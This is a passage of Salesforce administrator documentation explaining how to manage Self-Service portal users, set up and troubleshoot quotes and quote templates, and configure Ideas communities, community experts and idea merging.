Page line. If you have customized the Self-Service style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Generating Login HTML Self-Service Jump Start

Generating Login HTML


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To generate Self-Service portal HTML: Manage Self-Service Portal

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal.

1452

Customize

Managing Self-Service Users

After enabling and customizing your Self-Service portal, generate the URL or HTML code where users will log in to your Self-Service portal. 1. 2. 3. 4. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings. Click Generate Login HTML. Insert the URL or HTML code provided into your portals Web page. Click Finished to return to the Self-Service Settings page. Note: You cant be logged into Salesforce and the Self-Service portal at the same time, with the same browser. For example, if you log into Salesforce and then the Self-Service portal using the same browser, your Salesforce session becomes invalid. Conversely, if you log into the Self-Service portal and then Salesforce using the same browser, your Self-Service portal session becomes invalid.

See Also:
Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Customizing Your Self-Service Pages Managing Self-Service Users Self-Service Jump Start

Managing Self-Service Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Self-Service users: To mass manage Self-Service users: Edit Self-Service Users Manage Self-Service Portal AND Edit Self-Service Users

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. Manage your Self-Service user information from a single place and make changes to more than one user at a time. Before your customers can take advantage of the Self-Service portal, you must enable Self-Service access for each contact. You can enable access for one contact at a time from the Contacts tab or for multiple contacts via the Self-Service setup pages. To enable Self-Service users individually from the Contacts tab, see Self-Service for Contacts on page 200. To enable multiple Self-Service users at once, see Enabling Multiple Self-Service Users on page 1454. To change Self-Service user information, see Editing Self-Service User Information on page 1455.

1453

Customize

Managing Self-Service Users

To reset Self-Service user passwords, see Resetting Self-Service User Passwords on page 1456.

See Also:
Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Customizing Your Self-Service Pages Generating Login HTML Self-Service Jump Start

Enabling Multiple Self-Service Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Self-Service users: To mass manage Self-Service users: Edit Self-Service Users Manage Self-Service Portal AND Edit Self-Service Users

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. You can perform mass actions for Self-Service user management such as enabling Self-Service access for many contacts at once. Each contact must have an email address and must be associated with an account to be a Self-Service user. To enable new users for your Self-Service portal: 1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Users. 2. Click Enable New User(s). 3. Enter search criteria to compile a list of the contacts you want to enable and click Search. For instructions on filtering data, see Entering Filter Criteria on page 3136. 4. Select the contacts you want to enable and click Next. 5. Modify Self-Service user information as necessary. 6. Select the Super User checkbox to enable the contact as a Self-Service super user who can view case information, add comments, and upload attachments for all cases submitted by anyone in his or her company. 7. Click Save.

See Also:
Managing Self-Service Users

1454

Customize

Managing Self-Service Users

Editing Self-Service User Information


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Self-Service users: To mass manage Self-Service users: Edit Self-Service Users Manage Self-Service Portal AND Edit Self-Service Users

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. Edit Self-Service user information to keep user information updated. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Users. Select the users you want to change. Click Edit User(s). Make any necessary changes to these records. Click Save.

See Also:
Managing Self-Service Users

1455

Administering Quotes

Enabling Quotes

Resetting Self-Service User Passwords


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Self-Service users: To mass manage Self-Service users: Edit Self-Service Users Manage Self-Service Portal AND Edit Self-Service Users

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. If a Self-Service user loses his or her password, you can email a new password to him or her. To reset one or more Self-Service users passwords: 1. 2. 3. 4. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Users. Select the users whose passwords you want to reset. Click Reset Password(s). Click OK.

See Also:
Managing Self-Service Users

ADMINISTERING QUOTES
Enabling Quotes
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable or disable Quotes: Customize Application

To enable Quotes for your organization:

1456

Customize

Troubleshooting Quotes Syncing

1. 2. 3. 4. 5.

Click Your Name > Setup > Customize > Quotes > Settings. Select Enable Quotes. Click Save. Select Opportunity Layout to display the Quotes related list on the standard opportunity page layout. Optionally, select Append to users' personal related list customization to add the Quotes related list to all opportunity page layouts users have customized. 6. Click Save to finish.

Disabling Quotes
Select Disable Quotes to disable the feature for your organization. Important: You can't disable quotes if your records have any references to quotes, quote line items, or quote PDFs from any application customizations, including formula fields, triggers, workflow rules, and approval processes. You must remove these references before you can disable quotes. You can't disable quotes if you have any quotes synced with an opportunity. You must first stop syncing all quotes before you can disable the feature.

Troubleshooting Quotes Syncing


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To sync quotes: Create on quotes

You may get error messages if you try to sync quotes under certain conditions. If so, find your error below and learn how to solve the problem. This quote can't be synced because it has inactive or archived products. If the product isn't active, edit the product and select the Active check box. If the product has been archived, delete the product if the opportunity is not closed.

This quote can't be synced because it has an inactive or archived price book. If the price book is inactive, edit the price book and select the Active check box. If the price book has been archived, delete the price book if the opportunity is not closed.

This quote can't be synced because it has inactive or archived list prices. If the list price isn't active, edit the list price and select the Active check box for the list price. If the list price has been archived, delete the list price if the opportunity is not closed.

1457

Customize

Quote Templates Overview

This quote can't be synced because it has an inactive currency. Activate the currency. This quote can't be synced because one or more of the schedules for the opportunity products have changed since the quote was created. Either create a new quote and sync that one, or open the product and delete the schedule, then recreate the schedule. The SyncedQuote field is read only within a trigger. Your organization may be using an Apex trigger that is attempting to modify the SyncedQuote field. The SyncedQuote field is read only and can't be modified with a trigger. Contact your system administrator to modify the trigger.

Quote Templates Overview


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Watch a Demo (2 minutes) Use quote templates to design, preview, and activate custom templates for the quotes you send to your customers. Choose standard and custom fields from Quote and quote-related objects, such as Account and Opportunity, and arrange the data in groups or tables. You can also add and format rich-text content such as signature blocks and terms and conditions, display your company logo or other images, and create repeating headers and footers. Users select quote templates from their quote records, generate quote PDFs, and email them to their customers. The quote templates feature looks and works a lot like the enhanced page layout editor, so if you're familiar with editing page layouts, you'll find the template editor just as easy to use. Important: If you used quote templates during the Summer '10 beta release, you'll notice a change in how template logos and signature blocks work. The first time you create a template in the Winter '11 release, if you add any content to the header or footer, the logo and signature block you previously used won't be displayed. If the new template's header and footer have no content, the original logo and signature block will appear.

1458

Customize

Creating Quote Templates

If you create a configuration-only sandbox for your organization, templates that contain Text/Image fields cannot be opened for editing within the sandbox.

See Also:
Creating Quote Templates Emailing Quote PDFs Overview of Page Layouts and Field-Level Security

Creating Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

1. 2. 3. 4.

Click Your Name > Setup > Customize > Quotes > Templates. Click New and select an existing template, such as Standard Template, on which to base your new template. Give your new template a name. On the template editor, drag the elements you want, and then fill in the details. If you want to add: One or more Quote fields or fields from related objects, use a section and add fields to it. Text that you can edit and format, such as terms and conditions, use Text/Image Field. An image, such as your company logo, use Text/Image Field. A table of Quote fields or fields from a different object, such as Quote Line Item, use a list.

5. 6. 7. 8.

Click Quick Save to save your changes and continue working on the template. Click Save and Preview to preview your template. Click Save when you're finished. Return to the Quote Templates page and click Activate. Tip: If you use Chatter, post an update to spread the word that the template is ready for use.

See Also:
Customizing Quote PDFs with Quote Templates Viewing and Editing Quote Templates Previewing Quote Templates

1459

Customize

Customizing Quote PDFs with Quote Templates

Customizing Quote PDFs with Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Use quote templates to design, preview, and activate custom templates for the quotes you send to your customers. Navigating the Quote Templates Editor The template editor has two parts: a palette at the top and a template layout below. The palette contains the elements you can add to the layout, including list and section, and fields that you can add to sections. Click beneath the palette to expand or collapse it. In the left column, select an object to display its fields on the palette. Use Quick Find to easily locate items on the palette.

Working with the Quote Templates Editor To add an element to the template, drag it from the palette to the layout. Use a section to add and arrange fields from the quote object. Use a list to create a table with fields from another object, such as quote line item. The Text/Image Field lets you enter text or upload an image, such as your company logo. Press CTRL+click to select multiple fields and SHIFT+click to select a range. To remove an element from the layout, drag it back to the palette, or hover over its title bar and click . When you drag a section, select Hide Title if you don't want the section's title to appear on the template or the PDF. For any section, (including a header or footer), you can change the number of columns, adjust field alignment, and hide or show field labels. Click and make the changes you want. To step backward or forward, click Undo and Redo. To change the properties of any component on the layout, double-click its title bar or click To rename the template, click Quote Template Properties. To preview your template, click Save and Preview. To save your changes and continue editing the template, click Quick Save. .

1460

Customize

Viewing and Editing Quote Templates

To save your changes when you're finished editing the template, click Save. Don't navigate away from the template before clicking Save or you'll lose your changes.

See Also:
Quote Templates Overview Creating Quote Templates

Viewing and Editing Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

1. Click Your Name > Setup > Customize > Quotes > Templates. 2. Click Edit next to the template you want. 3. If you need to edit the template name, click Quote Template Properties and enter the new name in the Template Name field. Click OK. Note: You can't rename a quote template if you're using Salesforce Professional Edition.

4. You can: Add or edit sections (for fields), text, images, and lists as needed. Redesign the template header or footer. Change, hide, or show the title of a section, list, header, or footer after it's in place by clicking select or deselect Hide Title. Hide field labels in sections and the header and footer. Change the number of columns (one or two) in sections. Change field alignment (left or right) in sections. . Edit the title and

5. Click Save when you're finished. Alternately, you can save your changes in a copy of the original template by clicking Save As.

1461

Customize

Adding Fields to Quote Templates

Note: The Save As option isn't available in Salesforce Professional Edition. To make a copy of a template in Professional Edition, click New on the Quote Templates page then select the existing template that you want to duplicate.

See Also:
Adding Fields to Quote Templates Adding Lists to Quote Templates Adding Rich Text to Quote Templates Adding Images to Quote Templates Using Headers and Footers on Quote Templates Customizing Quote PDFs with Quote Templates

Adding Fields to Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

On your quote template, you can display standard and custom fields from the quote object and these related objects: account, contact, opportunity, organization, and user. Use a Text/Image Field to display a graphic, such as your company logo, or text that can be formatted, such as a signature block. To add fields to a header or footer, just drag them into place. To add fields to the body of your template, drag a section component first. Note: In some cases, a field may not appear on the quote templates palette or on a PDF created from a template. If a user is unable to view or update a field because of field-level security settings, that field won't appear on PDFs created from a template, even if the template includes that field. Read-only fields will appear on PDFs. A field that appears on a quote page layout but does not have a value for a given quote will appear on the quote templates palette, but won't appear on PDFs created from that quote. Quote line item fields that don't contain data won't appear as columns in a list when a PDF is created, even if the template includes that field. For example, if no quote line items offer a discount, the Discount column won't appear, even if the list includes the Discount field. If a related list is not included on a quote page layout, it won't appear on the template palette or any PDFs for quotes that use that page layout.

1462

Customize

Adding Fields to Quote Templates

Adding Fields to Headers and Footers 1. If you need to change the number of columns in your header or footer, click and select the number (one or two) that you want. 2. Drag the fields you want into the header or footer. Press CTRL+click to select multiple fields and SHIFT+click to select a range. 3. If you want to add rich text or an image, drag the Text/Image Field . 4. If you need to change field alignment within a column, click and select left or right alignment. 5. If you want to hide field labels, click and select the Hide checkbox. 6. Use the Blank Space field to add vertical space anywhere on the template. Adding Fields to the Template Body 1. Drag a section component from the palette to the template. 2. Enter a title for the section. Select Hide Title if you don't want the title to appear on the template or PDF. Click OK. 3. Select an object from the palette to display its fields. 4. Drag the fields you want into the section. Press CTRL+click to select multiple fields and SHIFT+click to select a range. 5. If you want to add rich text or an image, drag the Text/Image Field. 6. If you need to change field alignment within a column, click and select left or right alignment. 7. If you want to hide field labels, click and select the Hide checkbox. 8. Use the Blank Space field to add vertical space anywhere on the template.

See Also:
Customizing Quote PDFs with Quote Templates Viewing and Editing Quote Templates Using Headers and Footers on Quote Templates Adding Rich Text to Quote Templates Adding Images to Quote Templates Field-Level Security Overview

1463

Customize

Adding Lists to Quote Templates

Adding Lists to Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Use lists in your quote template to arrange and display fields from quote line item or any other standard or custom object that has a lookup relationship to the quote object. A list looks like a table, with field names appearing as columns. You can add lists to the body of your quote template but not to the header or footer. Note: In some cases, a field may not appear on the quote templates palette or on a PDF created from a template. If a user is unable to view or update a field because of field-level security settings, that field won't appear on PDFs created from a template, even if the template includes that field. Read-only fields will appear on PDFs. A field that appears on a quote page layout but does not have a value for a given quote will appear on the quote templates palette, but won't appear on PDFs created from that quote. Quote line item fields that don't contain data won't appear as columns in a list when a PDF is created, even if the template includes that field. For example, if no quote line items offer a discount, the Discount column won't appear, even if the list includes the Discount field. If a related list is not included on a quote page layout, it won't appear on the template palette or any PDFs for quotes that use that page layout.

1. 2. 3. 4.

Drag a list from the palette to the template. Enter a title for the list. Select Hide Title if you don't want the title to appear on the template or PDF. In the Object field, select the object whose fields you want to appear in the list. Use the Add and Remove arrows to move columns from the Available Fields list to the Selected Fields list. Use the Up and Down arrows to change the order of the columns. A list can include up to 10 fields. 5. Click OK.

See Also:
Customizing Quote PDFs with Quote Templates Viewing and Editing Quote Templates Field-Level Security Overview

1464

Customize

Adding Rich Text to Quote Templates

Adding Rich Text to Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Use the quote templates text/image field to add text you can format, such as your organization's address or terms and conditions. You can also insert images, like your company logo. You can use text/image fields in the body of your template, and also in the header and footer. Rich Text Restrictions Text formatting is not available in the Text/Image Field for Unicode languages such as Arabic and Japanese. The maximum number of characters you can use in the quote templates Text/Image Field is 32,000, which includes the hidden HTML characters used to format text. 1. Drag a Text/Image Field into place in the header, the footer, or any section in the body. 2. Type or paste your text into the field, then format it however you like. 3. Click OK. Tip: Use a text/image field to create a signature block.

See Also:
Customizing Quote PDFs with Quote Templates Using Headers and Footers on Quote Templates Adding Images to Quote Templates Tips for Using Quote Templates Field-Level Security Overview

1465

Customize

Adding Images to Quote Templates

Adding Images to Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Use the quote templates text/image field to insert images, like your company logo. You can use text/image fields in the body of your template, and also in the header and footer. You can store images for uploading in either your own file system or in Salesforce CRM Content. If you store images on the Documents tab or the Static Resources page, you'll get a Web address you can use to insert the image. Note: If you need to insert an image from a public Web address outside the Salesforce application (such as your company's website), contact Salesforce and ask to have the public URL whitelisted for your organization. Image Size Considerations If you insert an image that's too large, it will be cropped when users create quote PDFs from the template. To prevent cropping, click Save and Preview after you insert an image, then resize the image if you need to. Inserting an Uploaded Image 1. If you want to use an image stored in Salesforce CRM Content, locate the image and download it to your local file directory. 2. Drag a Text/Image Field into place in the header, the footer, or any section in the body. 3. Select Hide Title if you don't want the title to appear on the template or PDF. 4. Click the image icon, then click Browse... and locate the image in your file directory. 5. Click Open and the image appears in the field. You can resize it by dragging the sizing handles, which show the image's height and width in pixels. 6. Click OK. 7. Click Save and Preview to see how the image will look in PDFs created from the template. Inserting an Image from a Salesforce Web Address 1. 2. 3. 4. If you need to, upload the image to the Documents tab or define a static resource. Drag a Text/Image Field into place in the header, the footer, or any section in the body. Select Hide Title if you don't want the title to appear on the template or PDF. Click OK. On the Documents tab or the Static Resources page, open the image's detail page, click View File, and copy its URL.

5. Return to the quote template editor and click in the title bar of the text/image field. 6. Click the image icon, then click the Web Address tab.

1466

Customize

Using Headers and Footers on Quote Templates

7. Paste the URL into the URL field, then click Insert. The image appears in the field. You can resize it by dragging the sizing handles, which show the image's height and width in pixels. 8. Click OK. 9. Click Save and Preview to see how the image will look in PDFs created from the template. Important: If the image is removed from the Documents tab or Static Resources page, where it is stored, the template displays a message that the image is not available. Restore the image, then open the template, delete the error message image, and repaste the URL.

See Also:
Customizing Quote PDFs with Quote Templates Using Headers and Footers on Quote Templates Adding Rich Text to Quote Templates Contributing Files to Salesforce CRM Content Uploading and Replacing Documents

Using Headers and Footers on Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Use headers and footers to show standard, repeating information on your quote template, such as your company logo, your company address, the date the quote was created, or the quote number. Headers and footers can span the width of the template or be divided into two equal columns. A header or footer is essentially a section: you can add fields to it and show or hide its title. You can't remove a header or footer or add more sections to it. Note: In some cases, a field may not appear on the quote templates palette or on a PDF created from a template. If a user is unable to view or update a field because of field-level security settings, that field won't appear on PDFs created from a template, even if the template includes that field. Read-only fields will appear on PDFs. A field that appears on a quote page layout but does not have a value for a given quote will appear on the quote templates palette, but won't appear on PDFs created from that quote. Quote line item fields that don't contain data won't appear as columns in a list when a PDF is created, even if the template includes that field. For example, if no quote line items offer a discount, the Discount column won't appear, even if the list includes the Discount field.

1467

Customize

Previewing Quote Templates

If a related list is not included on a quote page layout, it won't appear on the template palette or any PDFs for quotes that use that page layout.

1. If you need to change the number of columns in your header or footer, click you want.

and select the number (one or two) that

Tip: To display an image that spans the width of a page, use a one-column header or footer. For terms and conditions text, use a one-column footer. 2. Select an object and drag the fields you want into the header or footer. Press CTRL+click to select multiple fields and SHIFT+click to select a range. If you want to use an image, such as your company logo, or include extended information, such as terms and conditions, use a Text/Image Field. 3. If you need to change field alignment within a column, click and select left or right alignment. 4. If you want to hide field labels, click and select the Hide checkbox. 5. Select Hide Title if you don't want the title to appear on the template or PDF. 6. Click OK.

See Also:
Customizing Quote PDFs with Quote Templates Adding Fields to Quote Templates Adding Rich Text to Quote Templates Adding Images to Quote Templates Tips for Using Quote Templates Field-Level Security Overview

Previewing Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Preview your quote templates to make sure the quote PDFs users create will look the way you want them to. Note: Preview shows templates in system administrator profile view. The preview and the template show any rich text and images you've added. Other data is simulated. 1. Open the template you want to preview. Edit the template if you need to.

1468

Customize

Tips for Using Quote Templates

2. Click Save and Preview. Important: Save and Preview saves changes to your template, so after you preview, you can't undo them.

3. In the Template Preview overlay, verify that the content and layout are correct. 4. Click Close.

See Also:
Creating Quote Templates Creating Quote PDFs

Tips for Using Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote templates: To view quote templates: "Customize Application" "View Setup and Configuration"

Upgrading Quote Templates from the Summer '10 Beta Release If you used quote templates during the Summer '10 beta release, you'll notice a change in how template logos and signature blocks work. The first time you create a template in the Winter '11 release, if you add any content to the header or footer, the logo and signature block you previously used won't be displayed. If the new template's header and footer have no content, the original logo and signature block will appear. Understanding Template Field Names To help you understand the information you'll get when you select fields for your template, some field names provide additional information that does not appear on PDFs created from the template. Object User User User User Company Information Object Field Template Field Name PDF Field Name
Prepared By E-mail Phone Fax Company Address

First Name, Last Name Prepared By (Name) Email Phone Fax Address Prepared By (Email) Prepared By (Phone) Prepared By (Fax) Organization (Address)

1469

Customize

Tips for Using Quote Templates

Object Quote Documents

Object Field

Template Field Name

PDF Field Name


Created Date

Hidden. The date the PDF Quote PDF (Created was generated and saved in Date) the quote documents object.

Creating a Totals Section Use a totals section to show grand total amounts for your quote. 1. Create the section. You have a couple of options. Select Standard Template when you create a new template. The standard template contains a totals section, and you can modify it as you wish. Drag a section onto the layout of any template, then drag total-related fields (such as Subtotal and Grand Total) to the right half of the section. Hide the title if you are placing the section directly beneath a list. and select right field alignment.

2. Click

Note: Fields within sections have different alignment than columns within lists, so if you place your totals section beneath a list, its field values will not line up beneath the rightmost list values. For example, your template might include a list of quote line items, including a Total Price column at the far right that shows the total for each line item. If you add a totals section beneath the list, and include Subtotal, Total Price, and Grand Total fields, their values will show the total of all line items, but the amounts will not line up beneath the list's Total Price column.

Creating a Signature Block Use a signature block to create signature and date lines so your customers can sign off on their quotes. 1. Drag a Text/Image Field into the footer of your template. Use two columns for the footer if you want to right-align your signature block or create two. 2. Enter a label for each line you want to create. For example: Signature Name Title Date

3. Use the underscore key to create a line after each label. 4. Click OK. Hiding Field Labels You can show field content without labels in quote template sections, headers, and footers. Just click and select the Hide checkbox. Field names appear in gray on the quote template editor, but they don't appear on quote PDFs. Click Save and Preview to see how PDFs will look.

1470

Setting Up Ideas

Managing Ideas

Sandbox Restrictions for Quote Templates If you create a configuration-only sandbox for your organization, templates that contain Text/Image fields cannot be opened for editing within the sandbox.

See Also:
Sandbox Setup Tips and Considerations

SETTING UP IDEAS
Managing Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Ideas communities: Customize Application

Ideas is a community of users who post, vote for, and comment on ideas. Consider it an online suggestion box that includes discussions and popularity rankings for any subject. Communities help organize ideas and questions into logical groups with each community having its own focus and unique ideas and questions. Professional Edition organizations can have only one internal ideas community. All other editions can have up to 50 communities shared between ideas, answers, and Chatter Answers. You can display an Ideas community to internal Salesforce users, Customer Portal or partner portal users, or to public users (requires setting up a Force.com site). You can also manage Ideas from the console. For step-by-step directions on setting up Ideas, refer to the Ideas Implementation Guide. As an administrator, you can: Control whether ideas are enabled for your organization and customize the half-life of ideas. See Customizing Ideas Settings on page 1472. Create a new community. See Creating and Editing Communities on page 1595. Create Idea Themes that let you invite community members to post ideas about specific topics so that members can solve problems or propose innovations for your company. Define picklist values for the Categories and Status fields. See Defining Picklist Values for the Categories and Status Fields on page 1479. Specify the layout of custom fields. See Setting Layouts for Idea Fields on page 1483. Make idea reports available to your users. See Setting Up Idea Reports on page 1484. Customize idea search layouts. See Customizing Search Layouts on page 1338 and Searching for Ideas on page 3524. Merge ideas to reduce the number of duplicate ideas within a community. See Merging Ideas on page 1477. Assign a status to an idea. See Posting and Editing Ideas on page 3517.

1471

Customize

Customizing Ideas Settings

Delete a vote through the API to erase all history that the vote ever occurred. Specifically, deleting a vote does the following: Removes 10 points from the idea's overall score Removes the user's name from the Last 100 Votes section on the idea's detail page For more information, refer to the delete() call in the SOAP API Developer's Guide .

See Also:
Ideas Overview Tips on Using Ideas Enabling Ideas in the Customer Portal Force.com Sites Overview Administrator setup guide: Salesforce Ideas Implementation Guide

Customizing Ideas Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize Ideas settings: Customize Application

To manage organization-wide settings for Ideas: 1. Click Your Name > Setup > Customize > Ideas > Settings. 2. Click Edit. 3. Use the Enable Ideas checkbox to enable or disable Ideas for your organization. Enabling Ideas displays the Ideas tab in the Community application and shows active communities on the Ideas tab. Disabling Ideas removes the Ideas tab from the Community app. Users will no longer be able to access active communities, but these communities will reappear on the Ideas tab the next time you enable Ideas. 4. Optionally, select Enable Text-Formatting, Images and Links to enable the Ideas HTML editor, which gives users WYSIWYG HTML editing and image referencing capabilities when they post or comment on ideas. For more information, see Tips for Using the HTML Editor on page 3525. Warning: Once you enable the Ideas HTML editor, you cannot disable it. If you do not see the Enable Text-Formatting, Images and Links checkbox, the Ideas HTML editor is enabled for your organization by default. 5. If your organization does not already have the multi-select Categories field enabled, click the Enable button located below the Categories message at the top of the page. This button is not displayed if your organization already has the Categories field enabled. For more information, refer to Enabling the Categories Field on page 1481.

1472

Customize

Enabling Idea Themes

If the Categories field is already enabled, the Enable Categories checkbox is selected. Once the field is enabled, you cannot disable it. 6. In the Half-Life (in Days) field, enter a number of days. The half-life setting determines how quickly old ideas drop in ranking on the Popular Ideas subtab, to make room for ideas with more recent votes. A shorter half-life moves older ideas down the page faster than a longer half-life. Note: This field does not appear if Ideas is disabled. To modify the Half-Life (in Days) field, save your changes after enabling ideas, and then click Edit on the Ideas Settings page. 7. Click Save.

See Also:
Ideas Overview Managing Ideas Administrator setup guide: Salesforce Ideas Implementation Guide

Enabling Idea Themes


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize Idea Themes settings: Customize Application

1. 2. 3. 4.

Click Your Name > Setup > Customize > Ideas > Idea Themes > Settings. Click Edit. Select Enable Idea Themes. Click Save. Note: Once you enable Idea Themes, you cant disable it.

See Also:
Customizing Ideas Settings Idea Themes

1473

Customize

Communities Home

Communities Home
Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit a community: Customize Application

Communities help organize ideas and questions into logical groups with each community having its own focus and unique ideas and questions. Professional Edition organizations can have only one internal ideas community. All other editions can have up to 50 communities shared between ideas, answers, and Chatter Answers. Note: If you need more than 50 communities, contact salesforce.com.

You can display a community to the following types of users: Internal Salesforce users only. Salesforce users can access all communities regardless of whether the community is internal-only or displayed in a portal. Customer Portal or partner portal users. Service Cloud Console users. Public users (requires setting up a Force.com site). Note: You cannot use Salesforce sharing rules to restrict access to communities. When you create a community, you can restrict access by selecting the portal where the community should appear. Only the users assigned to that portal (and internal Salesforce users) will be able to access that community unless you expose it publicly using Force.com sites. To display a list of the existing communities, along with general information about each one, click either:
Your Name > Setup > Customize > Ideas > Communities Your Name > Setup > Customize > Answers > Communities Your Name > Setup > Customize > Chatter Answers > Communities

Communities are shared by the ideas, answers, and Chatter Answers features, allowing you to view and create communities from those locations. From the Communities page you can: Create a new community or edit an existing community. View the details of a community by clicking the community name.

1474

Customize

Creating and Editing Communities

Creating and Editing Communities


Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit a community: Customize Application

To create a new community or edit the details of an existing community: 1. Click either:
Your Name > Setup > Customize > Ideas > Communities Your Name > Setup > Customize > Answers > Communities Your Name > Setup > Customize > Chatter Answers > Communities

Communities are shared by the ideas, answers, and Chatter Answers features, allowing you to view and create communities from those locations. Because Chatter Answers integrates several Salesforce features, there are separate instructions for creating and editing its communities. See Configuring a Chatter Answers Community on page 1618. 2. Click Edit next to the community you want to change or New to create a new community. 3. Enter a unique name for your community. This name displays to all community members so use a name that clearly identifies the community's purpose. For ideas, if you have more than one community, the community whose name comes first in the alphabet is the community that is displayed when users first visit the Ideas tab. For example, if you're a computer manufacturer and have a community named Laptop Products and another named Desktop Products, the Desktop Products community appears first when users go to the Ideas tab. Answers can only have one community displayed at a time. 4. Optionally, enter a description in plain text. HTML and other markup languages are not supported. 5. Select the Active checkbox to display the community to your ideas and answers users. You can't delete communities, so if you need to hide a community, make sure Active isn't selected. All active communities are automatically available from the Ideas tab (if ideas is enabled), but you can only assign one active community to answers. To make a community available from answers, enable answers and assign the default community. 6. To add a group of experts to this community, select a public group from the Experts Group drop-down list. For information on creating public groups, see Creating and Editing Groups on page 598. Note: Expert groups are only supported in Ideas. Answers doesn't support this feature.

7. Use the Portal drop-down list to specify in which portal you want this community displayed. If you only want this community displayed to internal Salesforce users and not to Customer Portal or partner portal users, select Do Not Display in Portal. To make an ideas community publicly available, you must select the Customer Portal that you plan to expose publicly using Force.com sites. Answers communities do not support Force.com sites.

1475

Customize

Creating and Editing Communities

When you display a community in a portal, (External) is appended to the community name. Communities that aren't displayed in a portal have (Internal) appended to the name. For example, Laptop Products Community (External). 8. Click Save. Community Expert Overview A community expert is a member of the community who speaks credibly and authoritatively on behalf of your organization. When a community expert posts a comment or idea, a unique icon ( ) displays next to his or her name so other community members can easily identify credible information within the community. The Salesforce administrator can designate as many community experts as necessary. Before you select a public group to be community experts, note the following: A community expert can be an employee of your organization who is responsible for providing official responses to the community, or a community expert can be someone outside your organization who is active within the community and knowledgeable about the subject matter. The only difference between a community expert and other community members is the unique icon that displays next to the community expert's name. Community experts do not have any extra permissions beyond what is specified in their user profile and permission sets. Community experts must be part of a public group and that public group must be specified in the Experts Group drop-down list. You may need to create a public group for each community if the experts within those communities are different. If a community is displayed in a Customer Portal or partner portal, you can use a cascading style sheet (CSS) to change the icon associated with the community expert. When creating a new portal, specify your CSS in the Header of your portal and use the expertUserBadge class to reference the new background image for the community expert. We recommend the community expert icon be no larger than 16 by 16 pixels. For more information, see Creating Partner Portals on page 3679 and Enabling Customer Portal Login and Settings on page 1758.

See Also:
Selecting Picklist Values and Defaults for a Community Communities Home Enabling Ideas in the Customer Portal Force.com Sites Overview Administrator setup guide: Salesforce Ideas Implementation Guide

1476

Customize

Merging Ideas

Merging Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To merge multiple ideas: Edit on ideas

Overview As more users contribute to a community, the number of duplicate ideas often increases. Duplicate ideas make it difficult to measure feedback because votes and comments are spread out over many similar ideas. The best way to resolve this issue is to merge duplicate ideas together so one idea becomes the master to one or more child ideas. Note the following about merging ideas: All votes belonging to child ideas are transferred to the master idea. If the same community member votes for two ideas that are eventually merged, only the vote for the master idea is kept; the vote for the child idea is discarded. Once you merge ideas they cannot be separated. Users can only vote for and add comments to a master idea. Child ideas become read-only. You cannot merge ideas in separate communities. Deleting a parent idea automatically deletes all child ideas. Child ideas cannot be deleted individually. The master idea does not inherit the status and category values of its child ideas. When an idea is merged and becomes a child idea, the child idea still appears on the Ideas Submitted page but not on any other pages in a community member's Recent Activity.

